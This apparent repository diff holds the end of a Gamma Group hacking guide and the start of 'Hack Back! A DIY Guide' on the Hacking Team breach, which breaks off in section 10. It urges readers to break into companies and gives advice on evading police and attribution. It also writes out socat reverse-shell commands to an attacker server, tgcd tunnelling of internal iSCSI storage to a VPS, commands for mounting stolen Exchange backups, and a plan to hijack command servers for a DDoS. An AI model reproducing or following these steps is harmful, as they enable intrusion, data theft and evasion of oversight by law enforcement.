+
296
+
297
+ --[ 7 ]-- Have Fun
298
+
299
+ Once you're in their networks, the real fun starts. Just use your imagination.
300
+ While I titled this a guide for wannabe whistleblowers, there's no reason to
301
+ limit yourself to leaking documents. My original plan was to:
302
+ 1) Hack Gamma and obtain a copy of the FinSpy server software
303
+ 2) Find vulnerabilities in FinSpy server.
304
+ 3) Scan the internet for, and hack, all FinSpy C&C servers.
305
+ 4) Identify the groups running them.
306
+ 5) Use the C&C server to upload and run a program on all targets telling them
307
+ who was spying on them.
308
+ 6) Use the C&C server to uninstall FinFisher on all targets.
309
+ 7) Join the former C&C servers into a botnet to DDoS Gamma Group.
310
+
311
+ It was only after failing to fully hack Gamma and ending up with some
312
+ interesting documents but no copy of the FinSpy server software that I had to
313
+ make due with the far less lulzy backup plan of leaking their stuff while
314
+ mocking them on twitter.
315
+ Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
316
+ already so I can move on to step 2!
317
+
318
+
319
+ --[ 8 ]-- Other Methods
320
+
321
+ The general method I outlined above of scan, find vulnerabilities, and exploit
322
+ is just one way to hack, probably better suited to those with a background in
323
+ programming. There's no one right way, and any method that works is as good as
324
+ any other. The other main ways that I'll state without going into detail are:
325
+
326
+ 1) Exploits in web browers, java, flash, or microsoft office, combined with
327
+ emailing employees with a convincing message to get them to open the link or
328
+ attachment, or hacking a web site frequented by the employees and adding the
329
+ browser/java/flash exploit to that.
330
+ This is the method used by most of the government hacking groups, but you don't
331
+ need to be a government with millions to spend on 0day research or subscriptions
332
+ to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
333
+ for a couple thousand, and rent access to one for much less. There's also
334
+ metasploit browser autopwn, but you'll probably have better luck with no
335
+ exploits and a fake flash updater prompt.
336
+
337
+ 2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
338
+ of the time.
339
+ The infosec industry invented a term to make this sound like some sort of
340
+ science: "Social Engineering". This is probably the way to go if you don't know
341
+ too much about computers, and it really is all it takes to be a successful
342
+ hacker [0].
343
+
344
+ [0] https://www.youtube.com/watch?v=DB6ywr9fngU
345
+
346
+
347
+ --[ 9 ]-- Resources
348
+
349
+ Links:
350
+
351
+ * https://www.pentesterlab.com/exercises/
352
+ * http://overthewire.org/wargames/
353
+ * http://www.hackthissite.org/
354
+ * http://smashthestack.org/
355
+ * http://www.win.tue.nl/~aeb/linux/hh/hh.html
356
+ * http://www.phrack.com/
357
+ * http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
358
+ * http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
359
+ * https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
360
+ * https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
361
+ (all his other blog posts are great too)
362
+ * https://www.corelan.be/ (start at Exploit writing tutorial part 1)
363
+ * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
364
+ One trick it leaves out is that on most systems the apache access log is
365
+ readable only by root, but you can still include from /proc/self/fd/10 or
366
+ whatever fd apache opened it as. It would also be more useful if it mentioned
367
+ what versions of php the various tricks were fixed in.
368
+ * http://www.dest-unreach.org/socat/
369
+ Get usable reverse shells with a statically linked copy of socat to drop on
370
+ your target and:
371
+ target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
372
+ host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
373
+ It's also useful for setting up weird pivots and all kinds of other stuff.
374
+
375
+ Books:
376
+
377
+ * The Web Application Hacker's Handbook
378
+ * Hacking: The Art of Exploitation
379
+ * The Database Hacker's Handbook
380
+ * The Art of Software Security Assessment
381
+ * A Bug Hunter's Diary
382
+ * Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
383
+ * TCP/IP Illustrated
384
+
385
+ Aside from the hacking specific stuff almost anything useful to a system
386
+ administrator for setting up and administering networks will also be useful for
387
+ exploring them. This includes familiarity with the windows command prompt and unix
388
+ shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
389
+ networking, etc.
390
+
391
+
392
+ --[ 10 ]-- Outro
393
+
394
+ You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
395
+ tool. It's not selling hacking tools that makes Gamma evil. It's who their
396
+ customers are targeting and with what purpose that makes them evil. That's not
397
+ to say that tools are inherently neutral. Hacking is an offensive tool. In the
398
+ same way that guerrilla warfare makes it harder to occupy a country, whenever
399
+ it's cheaper to attack than to defend it's harder to maintain illegitimate
400
+ authority and inequality. So I wrote this to try to make hacking easier and more
401
+ accessible. And I wanted to show that the Gamma Group hack really was nothing
402
+ fancy, just standard sqli, and that you do have the ability to go out and take
403
+ similar action.
404
+
405
+ Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
406
+ Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
407
+ hackers, dissidents, and criminals!
phineas/ht.txt ADDED
@@ -0,0 +1,925 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _ _ _ ____ _ _
2
+ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
3
+ | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
4
+ | _ | (_| | (__| < | |_) | (_| | (__| <|_|
5
+ |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
6
+
7
+ A DIY Guide
8
+
9
+
10
+
11
+ ,-._,-._
12
+ _,-\ o O_/;
13
+ / , ` `|
14
+ | \-.,___, / `
15
+ \ `-.__/ / ,.\
16
+ / `-.__.-\` ./ \'
17
+ / /| ___\ ,/ `\
18
+ ( ( |.-"` '/\ \ `
19
+ \ \/ ,, | \ _
20
+ \| o/o / \.
21
+ \ , / /
22
+ ( __`;-;'__`) \\
23
+ `//'` `||` `\
24
+ _// || __ _ _ _____ __
25
+ .-"-._,(__) .(__).-""-. | | | | |_ _| |
26
+ / \ / \ | | |_| | | | |
27
+ \ / \ / | | _ | | | |
28
+ `'-------` `--------'` __| |_| |_| |_| |__
29
+ #antisec
30
+
31
+
32
+
33
+ --[ 1 - Introduction ]----------------------------------------------------------
34
+
35
+ You'll notice the change in language since the last edition [1]. The
36
+ English-speaking world already has tons of books, talks, guides, and
37
+ info about hacking. In that world, there's plenty of hackers better than me,
38
+ but they misuse their talents working for "defense" contractors, for intelligence
39
+ agencies, to protect banks and corporations, and to defend the status quo.
40
+ Hacker culture was born in the US as a counterculture, but that origin only
41
+ remains in its aesthetics - the rest has been assimilated. At least they can
42
+ wear a t-shirt, dye their hair blue, use their hacker names, and feel like
43
+ rebels while they work for the Man.
44
+
45
+ You used to have to sneak into offices to leak documents [2]. You used to need
46
+ a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
47
+ Like the CNT said after the Gamma Group hack: "Let's take a step forward with
48
+ new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!
49
+
50
+ [1] http://pastebin.com/raw.php?i=cRYvK4jb
51
+ [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
52
+ [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
53
+ [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
54
+ [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group
55
+
56
+
57
+ --[ 2 - Hacking Team ]----------------------------------------------------------
58
+
59
+ Hacking Team was a company that helped governments hack and spy on
60
+ journalists, activists, political opposition, and other threats to their power
61
+ [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
62
+ and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
63
+ fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
64
+ RCS". They also claimed to have technology to solve the "problem" posed by Tor
65
+ and the darknet [13]. But seeing as I'm still free, I have my doubts about
66
+ its effectiveness.
67
+
68
+ [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
69
+ [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
70
+ [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
71
+ [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
72
+ [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
73
+ [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
74
+ [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
75
+ [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
76
+ [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
77
+ [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
78
+ [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
79
+ [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
80
+ [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
81
+
82
+
83
+ --[ 3 - Stay safe out there ]---------------------------------------------------
84
+
85
+ Unfortunately, our world is backwards. You get rich by doing bad things and go
86
+ to jail for doing good. Fortunately, thanks to the hard work of people like
87
+ the Tor project [1], you can avoid going to jail by taking a few simple
88
+ precautions:
89
+
90
+ 1) Encrypt your hard disk [2]
91
+
92
+ I guess when the police arrive to seize your computer, it means you've
93
+ already made a lot of mistakes, but it's better to be safe.
94
+
95
+ 2) Use a virtual machine with all traffic routed through Tor
96
+
97
+ This accomplishes two things. First, all your traffic is anonymized through
98
+ Tor. Second, keeping your personal life and your hacking on separate
99
+ computers helps you not to mix them by accident.
100
+
101
+ You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
102
+ something custom [6]. Here's [7] a detailed comparison.
103
+
104
+ 3) (Optional) Don't connect directly to Tor
105
+
106
+ Tor isn't a panacea. They can correlate the times you're connected to Tor
107
+ with the times your hacker handle is active. Also, there have been
108
+ successful attacks against Tor [8]. You can connect to Tor using other
109
+ peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
110
+ cracking wifi. Another option is to connect to a VPN or a bridge node [10]
111
+ before Tor, but that's less secure because they can still correlate the
112
+ hacker's activity with your house's internet activity (this was used as
113
+ evidence against Jeremy Hammond [11]).
114
+
115
+ The reality is that while Tor isn't perfect, it works quite well. When I
116
+ was young and reckless, I did plenty of stuff without any protection (I'm
117
+ referring to hacking) apart from Tor, that the police tried their hardest
118
+ to investigate, and I've never had any problems.
119
+
120
+ [1] https://www.torproject.org/
121
+ [2] https://info.securityinabox.org/es/chapter-4
122
+ [3] https://www.whonix.org/
123
+ [4] https://tails.boum.org/
124
+ [5] https://www.qubes-os.org/doc/privacy/torvm/
125
+ [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
126
+ [7] https://www.whonix.org/wiki/Comparison_with_Others
127
+ [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
128
+ [9] http://www.wifislax.com/
129
+ [10] https://www.torproject.org/docs/bridges.html.en
130
+ [11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
131
+
132
+
133
+ ----[ 3.1 - Infrastructure ]----------------------------------------------------
134
+
135
+ I don't hack directly from Tor exit nodes. They're on blacklists, they're
136
+ slow, and they can't receive connect-backs. Tor protects my anonymity while I
137
+ connect to the infrastructure I use to hack, which consists of:
138
+
139
+ 1) Domain Names
140
+
141
+ For C&C addresses, and for DNS tunnels for guaranteed egress.
142
+
143
+ 2) Stable Servers
144
+
145
+ For use as C&C servers, to receive connect-back shells, to launch attacks,
146
+ and to store the loot.
147
+
148
+ 3) Hacked Servers
149
+
150
+ For use as pivots to hide the IP addresses of the stable servers. And for
151
+ when I want a fast connection without pivoting, for example to scan ports,
152
+ scan the whole internet, download a database with sqli, etc.
153
+
154
+ Obviously, you have to use an anonymous payment method, like bitcoin (if it's
155
+ used carefully).
156
+
157
+
158
+ ----[ 3.2 - Attribution ]-------------------------------------------------------
159
+
160
+ In the news we often see attacks traced back to government-backed hacking
161
+ groups ("APTs"), because they repeatedly use the same tools, leave the same
162
+ footprints, and even use the same infrastructure (domains, emails, etc).
163
+ They're negligent because they can hack without legal consequences.
164
+
165
+ I didn't want to make the police's work any easier by relating my hack of
166
+ Hacking Team with other hacks I've done or with names I use in my day-to-day
167
+ work as a blackhat hacker. So, I used new servers and domain names, registered
168
+ with new emails, and payed for with new bitcoin addresses. Also, I only used
169
+ tools that are publicly available, or things that I wrote specifically for
170
+ this attack, and I changed my way of doing some things to not leave my usual
171
+ forensic footprint.
172
+
173
+
174
+ --[ 4 - Information Gathering ]-------------------------------------------------
175
+
176
+ Although it can be tedious, this stage is very important, since the larger the
177
+ attack surface, the easier it is to find a hole somewhere in it.
178
+
179
+
180
+ ----[ 4.1 - Technical Information ]---------------------------------------------
181
+
182
+ Some tools and techniques are:
183
+
184
+ 1) Google
185
+
186
+ A lot of interesting things can be found with a few well-chosen search
187
+ queries. For example, the identity of DPR [1]. The bible of Google hacking
188
+ is the book "Google Hacking for Penetration Testers". You can find a short
189
+ summary in Spanish at [2].
190
+
191
+ 2) Subdomain Enumeration
192
+
193
+ Often, a company's main website is hosted by a third party, and you'll find
194
+ the company's actual IP range thanks to subdomains like mx.company.com or
195
+ ns1.company.com. Also, sometimes there are things that shouldn't be exposed
196
+ in "hidden" subdomains. Useful tools for discovering domains and subdomains
197
+ are fierce [3], theHarvester [4], and recon-ng [5].
198
+
199
+ 3) Whois lookups and reverse lookups
200
+
201
+ With a reverse lookup using the whois information from a domain or IP range
202
+ of a company, you can find other domains and IP ranges. As far as I know,
203
+ there's no free way to do reverse lookups aside from a google "hack":
204
+
205
+ "via della moscova 13" site:www.findip-address.com
206
+ "via della moscova 13" site:domaintools.com
207
+
208
+ 4) Port scanning and fingerprinting
209
+
210
+ Unlike the other techniques, this talks to the company's servers. I
211
+ include it in this section because it's not an attack, it's just
212
+ information gathering. The company's IDS might generate an alert, but you
213
+ don't have to worry since the whole internet is being scanned constantly.
214
+
215
+ For scanning, nmap [6] is precise, and can fingerprint the majority of
216
+ services discovered. For companies with very large IP ranges, zmap [7] or
217
+ masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
218
+ sites.
219
+
220
+ [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
221
+ [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
222
+ [3] http://ha.ckers.org/fierce/
223
+ [4] https://github.com/laramies/theHarvester
224
+ [5] https://bitbucket.org/LaNMaSteR53/recon-ng
225
+ [6] https://nmap.org/
226
+ [7] https://zmap.io/
227
+ [8] https://github.com/robertdavidgraham/masscan
228
+ [9] http://www.morningstarsecurity.com/research/whatweb
229
+ [10] http://blindelephant.sourceforge.net/
230
+
231
+
232
+ ----[ 4.2 - Social Information ]------------------------------------------------
233
+
234
+ For social engineering, it's useful to have information about the employees,
235
+ their roles, contact information, operating system, browser, plugins,
236
+ software, etc. Some resources are:
237
+
238
+ 1) Google
239
+
240
+ Here as well, it's the most useful tool.
241
+
242
+ 2) theHarvester and recon-ng
243
+
244
+ I already mentioned them in the previous section, but they have a lot more
245
+ functionality. They can find a lot of information quickly and
246
+ automatically. It's worth reading all their documentation.
247
+
248
+ 3) LinkedIn
249
+
250
+ A lot of information about the employees can be found here. The company's
251
+ recruiters are the most likely to accept your connection requests.
252
+
253
+ 4) Data.com
254
+
255
+ Previously known as jigsaw. They have contact information for many
256
+ employees.
257
+
258
+ 5) File Metadata
259
+
260
+ A lot of information about employees and their systems can be found in
261
+ metadata of files the company has published. Useful tools for finding
262
+ files on the company's website and extracting the metadata are metagoofil
263
+ [1] and FOCA [2].
264
+
265
+ [1] https://github.com/laramies/metagoofil
266
+ [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
267
+
268
+
269
+ --[ 5 - Entering the network ]--------------------------------------------------
270
+
271
+ There are various ways to get a foothold. Since the method I used against
272
+ Hacking Team is uncommon and a lot more work than is usually necessary, I'll
273
+ talk a little about the two most common ways, which I recommend trying first.
274
+
275
+
276
+ ----[ 5.1 - Social Engineering ]------------------------------------------------
277
+
278
+ Social engineering, specifically spear phishing, is responsible for the
279
+ majority of hacks these days. For an introduction in Spanish, see [1]. For
280
+ more information in English, see [2] (the third part, "Targeted Attacks"). For
281
+ fun stories about the social engineering exploits of past generations, see
282
+ [3]. I didn't want to try to spear phish Hacking Team, as their whole business
283
+ is helping governments spear phish their opponents, so they'd be much more
284
+ likely to recognize and investigate a spear phishing attempt.
285
+
286
+ [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
287
+ [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
288
+ [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
289
+
290
+
291
+ ----[ 5.2 - Buying Access ]-----------------------------------------------------
292
+
293
+ Thanks to hardworking Russians and their exploit kits, traffic sellers, and
294
+ bot herders, many companies already have compromised computers in their
295
+ networks. Almost all of the Fortune 500, with their huge networks, have some
296
+ bots already inside. However, Hacking Team is a very small company, and most
297
+ of it's employees are infosec experts, so there was a low chance that they'd
298
+ already been compromised.
299
+
300
+
301
+ ----[ 5.3 - Technical Exploitation ]--------------------------------------------
302
+
303
+ After the Gamma Group hack, I described a process for searching for
304
+ vulnerabilities [1]. Hacking Team had one public IP range:
305
+ inetnum: 93.62.139.32 - 93.62.139.47
306
+ descr: HT public subnet
307
+
308
+ Hacking Team had very little exposed to the internet. For example, unlike
309
+ Gamma Group, their customer support site needed a client certificate to
310
+ connect. What they had was their main website (a Joomla blog in which Joomscan
311
+ [2] didn't find anything serious), a mail server, a couple routers, two VPN
312
+ appliances, and a spam filtering appliance. So, I had three options: look for
313
+ a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
314
+ embedded devices. A 0day in an embedded device seemed like the easiest option,
315
+ and after two weeks of work reverse engineering, I got a remote root exploit.
316
+ Since the vulnerabilities still haven't been patched, I won't give more
317
+ details, but for more information on finding these kinds of vulnerabilities,
318
+ see [3] and [4].
319
+
320
+ [1] http://pastebin.com/raw.php?i=cRYvK4jb
321
+ [2] http://sourceforge.net/projects/joomscan/
322
+ [3] http://www.devttys0.com/
323
+ [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
324
+
325
+
326
+ --[ 6 - Be Prepared ]-----------------------------------------------------------
327
+
328
+ I did a lot of work and testing before using the exploit against Hacking Team.
329
+ I wrote a backdoored firmware, and compiled various post-exploitation tools
330
+ for the embedded device. The backdoor serves to protect the exploit. Using the
331
+ exploit just once and then returning through the backdoor makes it harder to
332
+ identify and patch the vulnerabilities.
333
+
334
+ The post-exploitation tools that I'd prepared were:
335
+
336
+ 1) busybox
337
+
338
+ For all the standard Unix utilities that the system didn't have.
339
+
340
+ 2) nmap
341
+
342
+ To scan and fingerprint Hacking Team's internal network.
343
+
344
+ 3) Responder.py
345
+
346
+ The most useful tool for attacking windows networks when you have access to
347
+ the internal network, but no domain user.
348
+
349
+ 4) Python
350
+
351
+ To execute Responder.py
352
+
353
+ 5) tcpdump
354
+
355
+ For sniffing traffic.
356
+
357
+ 6) dsniff
358
+
359
+ For sniffing passwords from plaintext protocols like ftp, and for
360
+ arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
361
+ and NaGA, but it was hard to compile it for the system.
362
+
363
+ 7) socat
364
+
365
+ For a comfortable shell with a pty:
366
+ my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
367
+ hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
368
+ tcp:my_server:my_port
369
+
370
+ And useful for a lot more, it's a networking swiss army knife. See the
371
+ examples section of its documentation.
372
+
373
+ 8) screen
374
+
375
+ Like the shell with pty, it wasn't really necessary, but I wanted to feel
376
+ at home in Hacking Team's network.
377
+
378
+ 9) a SOCKS proxy server
379
+
380
+ To use with proxychains to be able to access their local network from any
381
+ program.
382
+
383
+ 10) tgcd
384
+
385
+ For forwarding ports, like for the SOCKS server, through the firewall.
386
+
387
+ [1] https://www.busybox.net/
388
+ [2] https://nmap.org/
389
+ [3] https://github.com/SpiderLabs/Responder
390
+ [4] https://github.com/bendmorris/static-python
391
+ [5] http://www.tcpdump.org/
392
+ [6] http://www.monkey.org/~dugsong/dsniff/
393
+ [7] http://www.dest-unreach.org/socat/
394
+ [8] https://www.gnu.org/software/screen/
395
+ [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
396
+ [10] http://tgcd.sourceforge.net/
397
+
398
+
399
+ The worst thing that could happen would be for my backdoor or post-exploitation
400
+ tools to make the system unstable and cause an employee to investigate. So I
401
+ spent a week testing my exploit, backdoor, and post-exploitation tools in the
402
+ networks of other vulnerable companies before entering Hacking Team's network.
403
+
404
+
405
+ --[ 7 - Watch and Listen ]------------------------------------------------------
406
+
407
+ Now inside their internal network, I wanted to take a look around and think
408
+ about my next step. I started Responder.py in analysis mode (-A to listen
409
+ without sending poisoned responses), and did a slow scan with nmap.
410
+
411
+
412
+ --[ 8 - NoSQL Databases ]-------------------------------------------------------
413
+
414
+ NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
415
+ community [1]. Just when I was worried that they'd finally patched all of the
416
+ authentication bypass bugs in MySQL [2][3][4][5], new databases came into
417
+ style that lack authentication by design. Nmap found a few in Hacking Team's
418
+ internal network:
419
+
420
+ 27017/tcp open mongodb MongoDB 2.6.5
421
+ | mongodb-databases:
422
+ | ok = 1
423
+ | totalSizeMb = 47547
424
+ | totalSize = 49856643072
425
+ ...
426
+ |_ version = 2.6.5
427
+
428
+ 27017/tcp open mongodb MongoDB 2.6.5
429
+ | mongodb-databases:
430
+ | ok = 1
431
+ | totalSizeMb = 31987
432
+ | totalSize = 33540800512
433
+ | databases
434
+ ...
435
+ |_ version = 2.6.5
436
+
437
+ They were the databases for test instances of RCS. The audio that RCS records
438
+ is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
439
+ from this. They were spying on themselves without meaning to.
440
+
441
+ [1] https://www.shodan.io/search?query=product%3Amongodb
442
+ [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
443
+ [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
444
+ [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
445
+ [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
446
+ [6] https://ht.transparencytoolkit.org/audio/
447
+
448
+
449
+ --[ 9 - Crossed Cables ]--------------------------------------------------------
450
+
451
+ Although it was fun to listen to recordings and see webcam images of Hacking
452
+ Team developing their malware, it wasn't very useful. Their insecure backups
453
+ were the vulnerability that opened their doors. According to their
454
+ documentation [1], their iSCSI devices were supposed to be on a separate
455
+ network, but nmap found a few in their subnetwork 192.168.1.200/24:
456
+
457
+ Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
458
+ ...
459
+ 3260/tcp open iscsi?
460
+ | iscsi-info:
461
+ | Target: iqn.2000-01.com.synology:ht-synology.name
462
+ | Address: 192.168.200.66:3260,0
463
+ |_ Authentication: No authentication required
464
+
465
+ Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
466
+ ...
467
+ 3260/tcp open iscsi?
468
+ | iscsi-info:
469
+ | Target: iqn.2000-01.com.synology:synology-backup.name
470
+ | Address: 10.0.1.72:3260,0
471
+ | Address: 192.168.200.72:3260,0
472
+ |_ Authentication: No authentication required
473
+
474
+ iSCSI needs a kernel module, and it would've been difficult to compile it for
475
+ the embedded system. I forwarded the port so that I could mount it from a VPS:
476
+
477
+ VPS: tgcd -L -p 3260 -q 42838
478
+ Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
479
+
480
+ VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
481
+
482
+ Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
483
+ because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
484
+
485
+ The way I solved it was:
486
+ iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
487
+
488
+ And now, after:
489
+ iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
490
+
491
+ ...the device file appears! We mount it:
492
+ vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
493
+
494
+ and find backups of various virtual machines. The Exchange server seemed like
495
+ the most interesting. It was too big too download, but it was possible to
496
+ mount it remotely to look for interesting files:
497
+ $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
498
+ $ fdisk -l /dev/loop0
499
+ /dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
500
+
501
+ so the offset is 2048 * 512 = 1048576
502
+ $ losetup -o 1048576 /dev/loop1 /dev/loop0
503
+ $ mount -o ro /dev/loop1 /mnt/exchange/
504
+
505
+ now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
506
+ we find the hard disk of the VM, and mount it:
507
+ vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
508
+ mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
509
+
510
+ ...and finally we've unpacked the Russian doll and can see all the files from
511
+ the old Exchange server in /mnt/part1
512
+
513
+ [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
514
+
515
+
516
+ --[ 10 - From backups to domain admin ]-----------------------------------------
517
+
518
+ What interested me most in the backup was seeing if it had a password or hash
519
+ that could be used to access the live server. I used pwdump, cachedump, and
520
